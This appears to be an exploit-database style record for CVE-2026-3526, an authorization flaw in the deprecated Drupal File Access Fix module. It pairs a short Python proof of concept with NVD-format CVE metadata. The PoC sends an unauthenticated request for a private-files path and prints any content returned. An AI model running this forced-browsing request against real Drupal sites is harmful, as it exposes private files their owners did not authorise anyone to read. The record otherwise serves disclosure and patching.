CVE-2026-3526

import requests # Exploit Title: Drupal File Access Fix - Incorrect Authorization (PoC) # Date: 2026-03-26 # Exploit Author: Analyst # Vendor Homepage: https://www.drupal.org/ # Version: < 1.2.0 target_url = "http://example.com/sites/default/files/private/sensitive_data.txt" try: response = requests.get(target_url) if response.status_code == 200: print("[+] Vulnerability confirmed! File content retrieved:") print(response.text) else: print(f"[-] File not accessible or patched. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-3526", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:08.600", "lastModified": "2026-03-31T20:33:47.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization vulnerability in Drupal File Access Fix (deprecated) allows Forceful Browsing.This issue affects File Access Fix (deprecated): from 0.0.0 before 1.2.0."}, {"lang": "es", "value": "Vulnerabilidad de autorización incorrecta en Drupal File Access Fix (obsoleto) permite la navegación forzada. Este problema afecta a File Access Fix (obsoleto): desde 0.0.0 antes de 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:geeks4change:file_access_fix:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "8.x-1.2", "matchCriteriaId": "FE4D1759-491C-4313-9B83-1900F72F5730"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-021", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}